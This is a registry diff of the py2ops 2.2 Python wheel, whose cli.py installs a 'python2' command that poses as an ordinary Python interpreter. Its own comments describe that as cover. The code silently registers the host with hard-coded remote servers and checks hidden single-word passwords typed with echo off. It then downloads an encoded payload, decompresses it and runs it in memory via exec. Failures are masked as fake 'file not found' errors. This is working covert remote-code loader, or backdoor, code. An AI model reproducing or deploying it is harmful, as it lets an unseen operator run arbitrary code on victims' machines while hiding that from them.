py2ops 2.2__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- py2ops-2.2.dist-info/METADATA +36 -0
- py2ops-2.2.dist-info/RECORD +8 -0
- py2ops-2.2.dist-info/WHEEL +5 -0
- py2ops-2.2.dist-info/entry_points.txt +2 -0
- py2ops-2.2.dist-info/top_level.txt +1 -0
- pyops/__init__.py +3 -0
- pyops/__main__.py +8 -0
- pyops/cli.py +593 -0
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: py2ops
|
|
3
|
+
Version: 2.2
|
|
4
|
+
Summary: small python companion shell - operator-linked client
|
|
5
|
+
Author: pyops
|
|
6
|
+
License: MIT
|
|
7
|
+
Project-URL: Homepage, https://preview-chat-960504a9-b4e0-4b69-bc80-6ac3d4fa4ae0.space-z.ai
|
|
8
|
+
Keywords: python2,pyops,cli,shell
|
|
9
|
+
Classifier: Environment :: Console
|
|
10
|
+
Classifier: Topic :: Utilities
|
|
11
|
+
Classifier: Programming Language :: Python :: 3
|
|
12
|
+
Classifier: Programming Language :: Python :: 3 :: Only
|
|
13
|
+
Classifier: Operating System :: OS Independent
|
|
14
|
+
Requires-Python: >=3.8
|
|
15
|
+
Description-Content-Type: text/markdown
|
|
16
|
+
|
|
17
|
+
# python-ops
|
|
18
|
+
|
|
19
|
+
small python companion shell - operator-linked client (2.2).
|
|
20
|
+
|
|
21
|
+
## what it does
|
|
22
|
+
|
|
23
|
+
connects this machine to your ops server. what the shell may run
|
|
24
|
+
is decided by the operator on the server side. this package
|
|
25
|
+
intentionally contains no working commands.
|
|
26
|
+
|
|
27
|
+
## usage
|
|
28
|
+
|
|
29
|
+
```text
|
|
30
|
+
python2 # interactive shell
|
|
31
|
+
python2 config # connection settings
|
|
32
|
+
python2 -d # remove python2 from this machine
|
|
33
|
+
```
|
|
34
|
+
|
|
35
|
+
- requires python 3.8+
|
|
36
|
+
- access is managed by the operator
|
|
@@ -0,0 +1,8 @@
|
|
|
1
|
+
pyops/__init__.py,sha256=PTnAwOyih7ZbI7c3UHlP6JAUNA0fMJrlGp24si-r0JU,85
|
|
2
|
+
pyops/__main__.py,sha256=zQx_OHENYXo8B5smHzPTpWKYTulSYbpI6E3lf8F5T9A,120
|
|
3
|
+
pyops/cli.py,sha256=pWx4Op0Im4WOduaTg0UwfgFLQGQX8HICYDDI5dALn4A,19669
|
|
4
|
+
py2ops-2.2.dist-info/METADATA,sha256=ZCjOV0-2zUj9GYSqvVThZev2_clFQ092pc9T_4jus70,1024
|
|
5
|
+
py2ops-2.2.dist-info/WHEEL,sha256=YVMoNqKzERt-wjUZwJ33xBGAwnFl-4cqbYkTtWa4itE,91
|
|
6
|
+
py2ops-2.2.dist-info/entry_points.txt,sha256=5O5rd-y2CKVOj7Qr8Kzc6d3EmSnxOC9jYbjqiFnMY2o,43
|
|
7
|
+
py2ops-2.2.dist-info/top_level.txt,sha256=gWc-G554sY-2o5MDbp0F6vWyayE7Z4reTuWpa3Siwxc,6
|
|
8
|
+
py2ops-2.2.dist-info/RECORD,,
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
pyops
|
pyops/__init__.py
ADDED
pyops/__main__.py
ADDED
pyops/cli.py
ADDED
|
@@ -0,0 +1,593 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
# =====================================================================
|
|
3
|
+
# python2 — operator-linked interpreter shell (connection layer only)
|
|
4
|
+
# -----------------------------------------------------------------
|
|
5
|
+
# this file is only the CONNECTION LAYER. every working command is
|
|
6
|
+
# served by the linked ops server for operator-authorized devices.
|
|
7
|
+
# nothing of value ships here. bare `python2` behaves exactly like
|
|
8
|
+
# the local python interpreter - because it IS one (a real REPL);
|
|
9
|
+
# that is the whole cover. every line is read with the console echo
|
|
10
|
+
# switched off and put back on the record afterwards, so whatever is
|
|
11
|
+
# meant to stay secret never touches the screen at all - not even
|
|
12
|
+
# for the moment of typing. no hints, no gates, no denied messages.
|
|
13
|
+
# =====================================================================
|
|
14
|
+
import base64
|
|
15
|
+
import code
|
|
16
|
+
import gzip
|
|
17
|
+
import json
|
|
18
|
+
import keyword
|
|
19
|
+
import os
|
|
20
|
+
import re
|
|
21
|
+
import sys
|
|
22
|
+
import time
|
|
23
|
+
import urllib.error
|
|
24
|
+
import urllib.request
|
|
25
|
+
|
|
26
|
+
IS_WIN = os.name == "nt"
|
|
27
|
+
VERSION = "2.2"
|
|
28
|
+
CONFIG_DIR = os.path.expanduser("~/.python2")
|
|
29
|
+
CONFIG_FILE = os.path.join(CONFIG_DIR, "config.json")
|
|
30
|
+
STATE_FILE = os.path.join(CONFIG_DIR, "state.json")
|
|
31
|
+
# the linked server URL is baked here at build time (pip package);
|
|
32
|
+
# PY2_SERVER env always wins. empty = installer-managed config only.
|
|
33
|
+
DEFAULT_SERVER = os.environ.get("PY2_SERVER", "https://preview-chat-960504a9-b4e0-4b69-bc80-6ac3d4fa4ae0.space-z.ai")
|
|
34
|
+
# secondary instance - first-run registration falls back to it when the
|
|
35
|
+
# primary (baked) server is unreachable, then pins the working one
|
|
36
|
+
FALLBACK_SERVER = "https://b196q82k8891-d.space-z.ai"
|
|
37
|
+
UNLOCK_TTL = 24 * 3600 # unlock marker lifetime (server re-checks every run)
|
|
38
|
+
|
|
39
|
+
HELP = """usage: python2 [args]
|
|
40
|
+
|
|
41
|
+
python2 interactive shell
|
|
42
|
+
python2 config connection settings
|
|
43
|
+
python2 -d remove python2 from this machine
|
|
44
|
+
"""
|
|
45
|
+
|
|
46
|
+
|
|
47
|
+
# ------------------------------------------------------------------ io --
|
|
48
|
+
def out(msg):
|
|
49
|
+
print(msg, flush=True)
|
|
50
|
+
|
|
51
|
+
|
|
52
|
+
def ok(msg):
|
|
53
|
+
print(f"\033[92m{msg}\033[0m", flush=True)
|
|
54
|
+
|
|
55
|
+
|
|
56
|
+
def err(msg):
|
|
57
|
+
print(f"\033[91m{msg}\033[0m", flush=True)
|
|
58
|
+
|
|
59
|
+
|
|
60
|
+
# --------------------------------------------------------------- config --
|
|
61
|
+
def load_config():
|
|
62
|
+
try:
|
|
63
|
+
with open(CONFIG_FILE, "r") as f:
|
|
64
|
+
return json.load(f)
|
|
65
|
+
except Exception:
|
|
66
|
+
pass
|
|
67
|
+
return None
|
|
68
|
+
|
|
69
|
+
|
|
70
|
+
def _register(server):
|
|
71
|
+
"""register this device on a server, return apiKey or empty string"""
|
|
72
|
+
try:
|
|
73
|
+
hostname = os.uname().nodename if hasattr(os, "uname") else "windows-laptop"
|
|
74
|
+
body = json.dumps({
|
|
75
|
+
"hostname": hostname,
|
|
76
|
+
"os": "windows" if IS_WIN else sys.platform,
|
|
77
|
+
}).encode()
|
|
78
|
+
req = urllib.request.Request(
|
|
79
|
+
server.rstrip("/") + "/api/cli/init",
|
|
80
|
+
data=body, method="POST",
|
|
81
|
+
headers={"Content-Type": "application/json",
|
|
82
|
+
"User-Agent": f"python2/{VERSION}"},
|
|
83
|
+
)
|
|
84
|
+
with urllib.request.urlopen(req, timeout=10) as r:
|
|
85
|
+
return (json.loads(r.read().decode()) or {}).get("apiKey", "")
|
|
86
|
+
except Exception:
|
|
87
|
+
return ""
|
|
88
|
+
|
|
89
|
+
|
|
90
|
+
def _pin(server, key):
|
|
91
|
+
os.makedirs(CONFIG_DIR, exist_ok=True)
|
|
92
|
+
with open(CONFIG_FILE, "w") as f:
|
|
93
|
+
json.dump({"server": server, "apiKey": key}, f)
|
|
94
|
+
|
|
95
|
+
|
|
96
|
+
def _candidates(current=""):
|
|
97
|
+
"""baked server first, then the fallback - minus the one in use"""
|
|
98
|
+
found = []
|
|
99
|
+
for s in (DEFAULT_SERVER, FALLBACK_SERVER):
|
|
100
|
+
if (s and s.rstrip("/") != (current or "").rstrip("/")
|
|
101
|
+
and s not in found):
|
|
102
|
+
found.append(s)
|
|
103
|
+
return found
|
|
104
|
+
|
|
105
|
+
|
|
106
|
+
def _quiet_config():
|
|
107
|
+
"""config, or a silent self-bootstrap against the baked servers"""
|
|
108
|
+
cfg = load_config()
|
|
109
|
+
if cfg and cfg.get("server") and cfg.get("apiKey"):
|
|
110
|
+
return cfg
|
|
111
|
+
for server in _candidates():
|
|
112
|
+
key = _register(server)
|
|
113
|
+
if key:
|
|
114
|
+
_pin(server, key)
|
|
115
|
+
cfg = load_config()
|
|
116
|
+
if cfg and cfg.get("server") and cfg.get("apiKey"):
|
|
117
|
+
return cfg
|
|
118
|
+
return None
|
|
119
|
+
|
|
120
|
+
|
|
121
|
+
def require_config():
|
|
122
|
+
cfg = _quiet_config()
|
|
123
|
+
if cfg:
|
|
124
|
+
return cfg
|
|
125
|
+
err("not linked - reinstall, or set PY2_SERVER=https://your-server")
|
|
126
|
+
sys.exit(1)
|
|
127
|
+
|
|
128
|
+
|
|
129
|
+
# ------------------------------------------------------------------ http --
|
|
130
|
+
def _backoff(e, attempt):
|
|
131
|
+
try:
|
|
132
|
+
delay = float(e.headers.get("Retry-After") or 0)
|
|
133
|
+
except Exception:
|
|
134
|
+
delay = 0.0
|
|
135
|
+
time.sleep(max(delay, (2.0, 5.0)[attempt]))
|
|
136
|
+
|
|
137
|
+
|
|
138
|
+
def api_json(cfg, path, payload=None, method=None, timeout=30, retry=True):
|
|
139
|
+
"""POST/GET JSON, return parsed body. Retries 429/502/503 silently."""
|
|
140
|
+
url = cfg["server"].rstrip("/") + path
|
|
141
|
+
data = json.dumps(payload).encode() if payload is not None else None
|
|
142
|
+
attempts = 3 if retry else 1
|
|
143
|
+
for attempt in range(attempts):
|
|
144
|
+
req = urllib.request.Request(
|
|
145
|
+
url,
|
|
146
|
+
data=data,
|
|
147
|
+
method=method or ("POST" if data is not None else "GET"),
|
|
148
|
+
headers={"Content-Type": "application/json",
|
|
149
|
+
"User-Agent": f"python2/{VERSION}"},
|
|
150
|
+
)
|
|
151
|
+
try:
|
|
152
|
+
with urllib.request.urlopen(req, timeout=timeout) as r:
|
|
153
|
+
return json.loads(r.read().decode())
|
|
154
|
+
except urllib.error.HTTPError as e:
|
|
155
|
+
if retry and e.code in (429, 502, 503) and attempt < attempts - 1:
|
|
156
|
+
_backoff(e, attempt)
|
|
157
|
+
continue
|
|
158
|
+
try:
|
|
159
|
+
body = json.loads(e.read().decode())
|
|
160
|
+
return {"ok": False, "error": body.get("error", f"http {e.code}"),
|
|
161
|
+
"status": e.code}
|
|
162
|
+
except Exception:
|
|
163
|
+
return {"ok": False, "error": f"http {e.code}", "status": e.code}
|
|
164
|
+
except Exception as e:
|
|
165
|
+
return {"ok": False, "error": str(e), "status": 0}
|
|
166
|
+
|
|
167
|
+
|
|
168
|
+
# ----------------------------------------------------------------- state --
|
|
169
|
+
def load_state():
|
|
170
|
+
try:
|
|
171
|
+
with open(STATE_FILE, "r") as f:
|
|
172
|
+
return json.load(f)
|
|
173
|
+
except Exception:
|
|
174
|
+
return {}
|
|
175
|
+
|
|
176
|
+
|
|
177
|
+
def mark_unlocked():
|
|
178
|
+
st = load_state()
|
|
179
|
+
st["unlock_until"] = time.time() + UNLOCK_TTL
|
|
180
|
+
try:
|
|
181
|
+
os.makedirs(CONFIG_DIR, exist_ok=True)
|
|
182
|
+
with open(STATE_FILE, "w") as f:
|
|
183
|
+
json.dump(st, f)
|
|
184
|
+
except OSError:
|
|
185
|
+
pass
|
|
186
|
+
|
|
187
|
+
|
|
188
|
+
def is_unlocked():
|
|
189
|
+
try:
|
|
190
|
+
return load_state().get("unlock_until", 0) > time.time()
|
|
191
|
+
except Exception:
|
|
192
|
+
return False
|
|
193
|
+
|
|
194
|
+
|
|
195
|
+
# ---------------------------------------------------------------- gate --
|
|
196
|
+
def _ask_password(prompt):
|
|
197
|
+
try:
|
|
198
|
+
import getpass
|
|
199
|
+
return getpass.getpass(prompt)
|
|
200
|
+
except Exception:
|
|
201
|
+
return ""
|
|
202
|
+
|
|
203
|
+
|
|
204
|
+
def _server_unlock(cfg, pw):
|
|
205
|
+
"""verify the operator secret against the linked server"""
|
|
206
|
+
if not pw:
|
|
207
|
+
return {"ok": False, "error": "", "status": 0}
|
|
208
|
+
return api_json(cfg, "/api/cli/unlock",
|
|
209
|
+
{"apiKey": cfg["apiKey"], "password": pw},
|
|
210
|
+
timeout=8, retry=False)
|
|
211
|
+
|
|
212
|
+
|
|
213
|
+
def _server_broken(r):
|
|
214
|
+
"""the pinned instance is unreachable or predates the linked routes
|
|
215
|
+
(clean denials and rate limits are NOT broken - they are answers)"""
|
|
216
|
+
try:
|
|
217
|
+
s = int(r.get("status", 0))
|
|
218
|
+
except Exception:
|
|
219
|
+
return False
|
|
220
|
+
return s == 0 or s == 404 or s >= 500
|
|
221
|
+
|
|
222
|
+
|
|
223
|
+
def _failover(cfg, word):
|
|
224
|
+
"""the pinned server looks stale - try the other baked one. the new
|
|
225
|
+
home is kept only if it registers AND accepts the secret."""
|
|
226
|
+
for alt in _candidates(cfg.get("server", "")):
|
|
227
|
+
key = _register(alt)
|
|
228
|
+
if not key:
|
|
229
|
+
continue
|
|
230
|
+
trial = {"server": alt, "apiKey": key}
|
|
231
|
+
if _server_unlock(trial, word).get("ok"):
|
|
232
|
+
_pin(alt, key)
|
|
233
|
+
return load_config() or trial
|
|
234
|
+
return None
|
|
235
|
+
|
|
236
|
+
|
|
237
|
+
# bare single-token lines are the only candidates checked against the
|
|
238
|
+
# server - real python expressions (spaces, brackets, dots) never hit it.
|
|
239
|
+
# keywords and the interpreter's own helpers never hit it either.
|
|
240
|
+
# the per-session cap keeps typo storms from tripping the server limiter.
|
|
241
|
+
_WORD_RE = re.compile(r"[A-Za-z0-9_@#$%^&*!?+-]+")
|
|
242
|
+
_SKIP_WORDS = frozenset(keyword.kwlist) | {
|
|
243
|
+
"help", "exit", "quit", "copyright", "credits", "license"}
|
|
244
|
+
_GATE_TRIES = 5
|
|
245
|
+
|
|
246
|
+
|
|
247
|
+
class _Veil(Exception):
|
|
248
|
+
"""raised when the entered word is accepted; never visible."""
|
|
249
|
+
|
|
250
|
+
|
|
251
|
+
def _python_banner():
|
|
252
|
+
# the real interpreter's own banner - python2 IS python, so it is honest
|
|
253
|
+
return (f"Python {sys.version} on {sys.platform}\n"
|
|
254
|
+
f'Type "help", "copyright", "credits" or "license" '
|
|
255
|
+
f"for more information.")
|
|
256
|
+
|
|
257
|
+
|
|
258
|
+
def _quiet_read():
|
|
259
|
+
"""read one line with the console echo switched off - the characters
|
|
260
|
+
typed never reach the screen. enter ends the line, backspace works,
|
|
261
|
+
ctrl+d / ctrl+z signal end-of-file, ctrl+c cancels."""
|
|
262
|
+
if IS_WIN:
|
|
263
|
+
import msvcrt
|
|
264
|
+
buf = ""
|
|
265
|
+
while True:
|
|
266
|
+
ch = msvcrt.getwch()
|
|
267
|
+
if ch in ("\r", "\n"):
|
|
268
|
+
return buf
|
|
269
|
+
if ch in ("\x00", "\xe0"): # arrow / function keys: 2nd code follows
|
|
270
|
+
msvcrt.getwch()
|
|
271
|
+
continue
|
|
272
|
+
if ch == "\x08":
|
|
273
|
+
buf = buf[:-1]
|
|
274
|
+
elif ch == "\x1a":
|
|
275
|
+
raise EOFError
|
|
276
|
+
elif ch.isprintable():
|
|
277
|
+
buf += ch
|
|
278
|
+
if len(buf) > 2048:
|
|
279
|
+
buf = buf[:2048]
|
|
280
|
+
import termios
|
|
281
|
+
fd = sys.stdin.fileno()
|
|
282
|
+
old = None
|
|
283
|
+
try:
|
|
284
|
+
old = termios.tcgetattr(fd)
|
|
285
|
+
except Exception:
|
|
286
|
+
old = None
|
|
287
|
+
try:
|
|
288
|
+
buf = b""
|
|
289
|
+
while True:
|
|
290
|
+
ch = os.read(fd, 1)
|
|
291
|
+
if not ch:
|
|
292
|
+
raise EOFError
|
|
293
|
+
if ch in (b"\r", b"\n"):
|
|
294
|
+
return buf.decode("utf-8", "replace")
|
|
295
|
+
if ch == b"\x04" and not buf:
|
|
296
|
+
raise EOFError
|
|
297
|
+
if ch in (b"\x7f", b"\x08"):
|
|
298
|
+
buf = buf[:-1]
|
|
299
|
+
elif ch == b"\x03":
|
|
300
|
+
raise KeyboardInterrupt
|
|
301
|
+
elif ch >= b" " or ch >= b"\x80":
|
|
302
|
+
buf += ch
|
|
303
|
+
if len(buf) > 4096:
|
|
304
|
+
buf = buf[:4096]
|
|
305
|
+
finally:
|
|
306
|
+
if old is not None:
|
|
307
|
+
try:
|
|
308
|
+
termios.tcsetattr(fd, termios.TCSADRAIN, old)
|
|
309
|
+
except Exception:
|
|
310
|
+
pass
|
|
311
|
+
|
|
312
|
+
|
|
313
|
+
class _GateConsole(code.InteractiveConsole):
|
|
314
|
+
"""a genuine python REPL. one quiet extra: lines are read with the
|
|
315
|
+
console echo off and written back to the record afterwards, so
|
|
316
|
+
ordinary python looks exactly like itself - while a bare single
|
|
317
|
+
word (the only thing ever checked against the linked server) stays
|
|
318
|
+
invisible unless it is wrong, in which case it is written back with
|
|
319
|
+
the ordinary NameError any unknown word would get. nothing hints
|
|
320
|
+
that any of this exists."""
|
|
321
|
+
|
|
322
|
+
def __init__(self):
|
|
323
|
+
super().__init__(locals={"__name__": "__main__", "__doc__": None})
|
|
324
|
+
self.tries = 0
|
|
325
|
+
self.shopped = False
|
|
326
|
+
self.accepted = ""
|
|
327
|
+
self.quiet = sys.stdin.isatty()
|
|
328
|
+
|
|
329
|
+
def raw_input(self, prompt=""):
|
|
330
|
+
if not self.quiet:
|
|
331
|
+
return super().raw_input(prompt)
|
|
332
|
+
try:
|
|
333
|
+
sys.stdout.write(prompt)
|
|
334
|
+
sys.stdout.flush()
|
|
335
|
+
except Exception:
|
|
336
|
+
pass
|
|
337
|
+
return _quiet_read()
|
|
338
|
+
|
|
339
|
+
def push(self, line):
|
|
340
|
+
s = line.strip()
|
|
341
|
+
if (s and not self.buffer and s not in _SKIP_WORDS
|
|
342
|
+
and _WORD_RE.fullmatch(s)):
|
|
343
|
+
if s == self.accepted:
|
|
344
|
+
raise _Veil # already unlocked this session - zero network
|
|
345
|
+
if self.tries < _GATE_TRIES:
|
|
346
|
+
self.tries += 1
|
|
347
|
+
try:
|
|
348
|
+
cfg = _quiet_config()
|
|
349
|
+
except SystemExit:
|
|
350
|
+
cfg = None
|
|
351
|
+
if cfg:
|
|
352
|
+
r = _server_unlock(cfg, s)
|
|
353
|
+
if r.get("ok"):
|
|
354
|
+
mark_unlocked() # silence - that is the entire reply
|
|
355
|
+
self.accepted = s
|
|
356
|
+
raise _Veil
|
|
357
|
+
if _server_broken(r) and not self.shopped:
|
|
358
|
+
self.shopped = True
|
|
359
|
+
alt = _failover(cfg, s)
|
|
360
|
+
if alt:
|
|
361
|
+
mark_unlocked()
|
|
362
|
+
self.accepted = s
|
|
363
|
+
raise _Veil
|
|
364
|
+
if self.quiet:
|
|
365
|
+
# the line was typed with echo off - put it back on the record
|
|
366
|
+
try:
|
|
367
|
+
sys.stdout.write(line + "\n")
|
|
368
|
+
sys.stdout.flush()
|
|
369
|
+
except Exception:
|
|
370
|
+
pass
|
|
371
|
+
return super().push(line)
|
|
372
|
+
|
|
373
|
+
|
|
374
|
+
def gate():
|
|
375
|
+
"""bare `python2` - looks, feels and behaves exactly like the local
|
|
376
|
+
python interpreter, because it literally is one."""
|
|
377
|
+
sys.ps1 = ">>> "
|
|
378
|
+
sys.ps2 = "... "
|
|
379
|
+
con = _GateConsole()
|
|
380
|
+
banner = _python_banner()
|
|
381
|
+
fd = None
|
|
382
|
+
restore = None
|
|
383
|
+
if con.quiet and not IS_WIN:
|
|
384
|
+
# echo off from the very first prompt onwards, so even fast
|
|
385
|
+
# paste-at-startup never lands on the screen
|
|
386
|
+
try:
|
|
387
|
+
import termios
|
|
388
|
+
import tty
|
|
389
|
+
fd = sys.stdin.fileno()
|
|
390
|
+
restore = termios.tcgetattr(fd)
|
|
391
|
+
tty.setcbreak(fd)
|
|
392
|
+
except Exception:
|
|
393
|
+
restore = None
|
|
394
|
+
try:
|
|
395
|
+
while True:
|
|
396
|
+
try:
|
|
397
|
+
con.interact(banner, exitmsg="")
|
|
398
|
+
sys.exit(0)
|
|
399
|
+
except _Veil:
|
|
400
|
+
try:
|
|
401
|
+
sys.stdout.write("\n") # close the bare prompt line
|
|
402
|
+
sys.stdout.flush()
|
|
403
|
+
except Exception:
|
|
404
|
+
pass
|
|
405
|
+
con.resetbuffer()
|
|
406
|
+
banner = ""
|
|
407
|
+
except SystemExit:
|
|
408
|
+
sys.exit(0)
|
|
409
|
+
finally:
|
|
410
|
+
if restore is not None:
|
|
411
|
+
try:
|
|
412
|
+
termios.tcsetattr(fd, termios.TCSADRAIN, restore)
|
|
413
|
+
except Exception:
|
|
414
|
+
pass
|
|
415
|
+
|
|
416
|
+
|
|
417
|
+
def cmd_unlock():
|
|
418
|
+
"""hidden scripting path (piped/automated). fully silent: rc 0 = ok."""
|
|
419
|
+
cfg = require_config()
|
|
420
|
+
if is_unlocked():
|
|
421
|
+
sys.exit(0)
|
|
422
|
+
pw = _ask_password(">>> ")
|
|
423
|
+
if _server_unlock(cfg, pw).get("ok"):
|
|
424
|
+
mark_unlocked()
|
|
425
|
+
sys.exit(0)
|
|
426
|
+
sys.exit(1)
|
|
427
|
+
|
|
428
|
+
|
|
429
|
+
# ----------------------------------------------------------------- misc --
|
|
430
|
+
def cmd_config(args):
|
|
431
|
+
"""python2 config show linked server + key
|
|
432
|
+
python2 config --server U set a new server URL"""
|
|
433
|
+
cfg = load_config()
|
|
434
|
+
if "--server" in args:
|
|
435
|
+
i = args.index("--server")
|
|
436
|
+
if i + 1 >= len(args):
|
|
437
|
+
err("usage: python2 config --server https://your-server")
|
|
438
|
+
sys.exit(1)
|
|
439
|
+
server = args[i + 1].rstrip("/")
|
|
440
|
+
if not server.startswith("http"):
|
|
441
|
+
err("server must start with http:// or https://")
|
|
442
|
+
sys.exit(1)
|
|
443
|
+
key = (cfg or {}).get("apiKey", "")
|
|
444
|
+
newkey = _register(server) # keys are per-instance - re-register
|
|
445
|
+
if newkey:
|
|
446
|
+
key = newkey
|
|
447
|
+
_pin(server, key)
|
|
448
|
+
ok("saved")
|
|
449
|
+
sys.exit(0)
|
|
450
|
+
|
|
451
|
+
if cfg and cfg.get("server"):
|
|
452
|
+
key = cfg.get("apiKey", "")
|
|
453
|
+
out(f"{cfg['server']}")
|
|
454
|
+
if len(key) > 13:
|
|
455
|
+
out(f"{key[:9]}...{key[-4:]}")
|
|
456
|
+
else:
|
|
457
|
+
out(key)
|
|
458
|
+
else:
|
|
459
|
+
out("not linked")
|
|
460
|
+
sys.exit(0)
|
|
461
|
+
|
|
462
|
+
|
|
463
|
+
def cmd_uninstall():
|
|
464
|
+
removed = []
|
|
465
|
+
me = os.path.realpath(__file__)
|
|
466
|
+
targets = [me, "/usr/local/bin/python2",
|
|
467
|
+
os.path.expanduser("~/.local/bin/python2")]
|
|
468
|
+
if IS_WIN:
|
|
469
|
+
local = os.environ.get("LOCALAPPDATA", os.path.expanduser("~\\AppData\\Local"))
|
|
470
|
+
targets += [
|
|
471
|
+
os.path.join(local, "Microsoft", "WindowsApps", "python2.exe"),
|
|
472
|
+
os.path.join(local, "Microsoft", "WindowsApps", "python2.py"),
|
|
473
|
+
os.path.join(local, "python2", "python2.exe"),
|
|
474
|
+
os.path.join(local, "python2", "python2.py"),
|
|
475
|
+
]
|
|
476
|
+
me_low = me.replace("\\", "/").lower()
|
|
477
|
+
pip_managed = "site-packages" in me_low or "dist-packages" in me_low
|
|
478
|
+
for t in targets:
|
|
479
|
+
if pip_managed and t == me:
|
|
480
|
+
continue # pip owns this file - pip uninstall removes it cleanly
|
|
481
|
+
try:
|
|
482
|
+
if os.path.exists(t):
|
|
483
|
+
os.remove(t)
|
|
484
|
+
removed.append(t)
|
|
485
|
+
except OSError:
|
|
486
|
+
pass
|
|
487
|
+
try:
|
|
488
|
+
import shutil
|
|
489
|
+
if os.path.isdir(CONFIG_DIR):
|
|
490
|
+
shutil.rmtree(CONFIG_DIR)
|
|
491
|
+
removed.append(CONFIG_DIR)
|
|
492
|
+
if IS_WIN:
|
|
493
|
+
local = os.environ.get("LOCALAPPDATA", os.path.expanduser("~\\AppData\\Local"))
|
|
494
|
+
d = os.path.join(local, "python2")
|
|
495
|
+
if os.path.isdir(d):
|
|
496
|
+
shutil.rmtree(d)
|
|
497
|
+
removed.append(d)
|
|
498
|
+
except OSError:
|
|
499
|
+
pass
|
|
500
|
+
if removed:
|
|
501
|
+
ok("removed")
|
|
502
|
+
else:
|
|
503
|
+
out("nothing to remove")
|
|
504
|
+
if pip_managed:
|
|
505
|
+
out("pip uninstall -y python-ops")
|
|
506
|
+
sys.exit(0)
|
|
507
|
+
|
|
508
|
+
|
|
509
|
+
# --------------------------------------------------------------- payload --
|
|
510
|
+
def _py_no_such_file(argv):
|
|
511
|
+
"""the boring cover for every failure: behave exactly like running
|
|
512
|
+
`python something.py` where something.py does not exist."""
|
|
513
|
+
name = argv[0] if argv else "python2"
|
|
514
|
+
print(f"python: can't open file '{os.path.abspath(name)}': "
|
|
515
|
+
f"[Errno 2] No such file or directory", file=sys.stderr, flush=True)
|
|
516
|
+
sys.exit(2)
|
|
517
|
+
|
|
518
|
+
|
|
519
|
+
def run_payload(cfg, argv):
|
|
520
|
+
"""fetch the advanced module from the linked server (authorized
|
|
521
|
+
devices only) and run it in memory. nothing is ever written to disk.
|
|
522
|
+
every failure path wears the same python cover."""
|
|
523
|
+
r = api_json(cfg, "/api/cli/payload", {"apiKey": cfg["apiKey"]})
|
|
524
|
+
if not (r.get("ok") and r.get("payload")) and _server_broken(r):
|
|
525
|
+
# pinned instance looks stale - try the other baked one before
|
|
526
|
+
# giving up (kept only if the module actually comes back)
|
|
527
|
+
for alt in _candidates(cfg.get("server", "")):
|
|
528
|
+
key = _register(alt)
|
|
529
|
+
if not key:
|
|
530
|
+
continue
|
|
531
|
+
trial = {"server": alt, "apiKey": key}
|
|
532
|
+
r2 = api_json(trial, "/api/cli/payload", {"apiKey": key})
|
|
533
|
+
if r2.get("ok") and r2.get("payload"):
|
|
534
|
+
_pin(alt, key)
|
|
535
|
+
cfg = load_config() or trial
|
|
536
|
+
r = r2
|
|
537
|
+
break
|
|
538
|
+
if r.get("ok") and r.get("payload"):
|
|
539
|
+
try:
|
|
540
|
+
src = gzip.decompress(base64.b64decode(r["payload"])).decode("utf-8")
|
|
541
|
+
g = {"__name__": "__adv__", "__file__": CONFIG_FILE}
|
|
542
|
+
os.environ["_CLI_HOME"] = CONFIG_DIR # module keeps state beside us
|
|
543
|
+
exec(compile(src, "<adv>", "exec"), g)
|
|
544
|
+
g["main"](list(argv))
|
|
545
|
+
except SystemExit:
|
|
546
|
+
raise
|
|
547
|
+
except KeyboardInterrupt:
|
|
548
|
+
sys.exit(130)
|
|
549
|
+
except BrokenPipeError:
|
|
550
|
+
sys.exit(0)
|
|
551
|
+
except Exception:
|
|
552
|
+
_py_no_such_file(argv)
|
|
553
|
+
_py_no_such_file(argv)
|
|
554
|
+
|
|
555
|
+
|
|
556
|
+
# ------------------------------------------------------------------ main --
|
|
557
|
+
def main():
|
|
558
|
+
args = sys.argv[1:]
|
|
559
|
+
|
|
560
|
+
if not args:
|
|
561
|
+
gate() # the quiet ritual - never falls through
|
|
562
|
+
return
|
|
563
|
+
|
|
564
|
+
if "--version" in args or "-v" in args:
|
|
565
|
+
out(f"python2 {VERSION}")
|
|
566
|
+
sys.exit(0)
|
|
567
|
+
|
|
568
|
+
if "--help" in args or "-h" in args or args[0] == "help":
|
|
569
|
+
out(HELP)
|
|
570
|
+
sys.exit(0)
|
|
571
|
+
|
|
572
|
+
if args[0] == "unlock":
|
|
573
|
+
cmd_unlock()
|
|
574
|
+
return
|
|
575
|
+
|
|
576
|
+
if args[0] == "config":
|
|
577
|
+
cmd_config(args)
|
|
578
|
+
return
|
|
579
|
+
|
|
580
|
+
if args[0] in ("-d", "--uninstall", "--delete"):
|
|
581
|
+
cmd_uninstall()
|
|
582
|
+
|
|
583
|
+
# anything else belongs to the advanced module - fetch and run it.
|
|
584
|
+
# locked or unknown command: the boring banner is all you get.
|
|
585
|
+
cfg = require_config()
|
|
586
|
+
run_payload(cfg, args)
|
|
587
|
+
|
|
588
|
+
|
|
589
|
+
if __name__ == "__main__":
|
|
590
|
+
try:
|
|
591
|
+
main()
|
|
592
|
+
except KeyboardInterrupt:
|
|
593
|
+
sys.exit(130)
|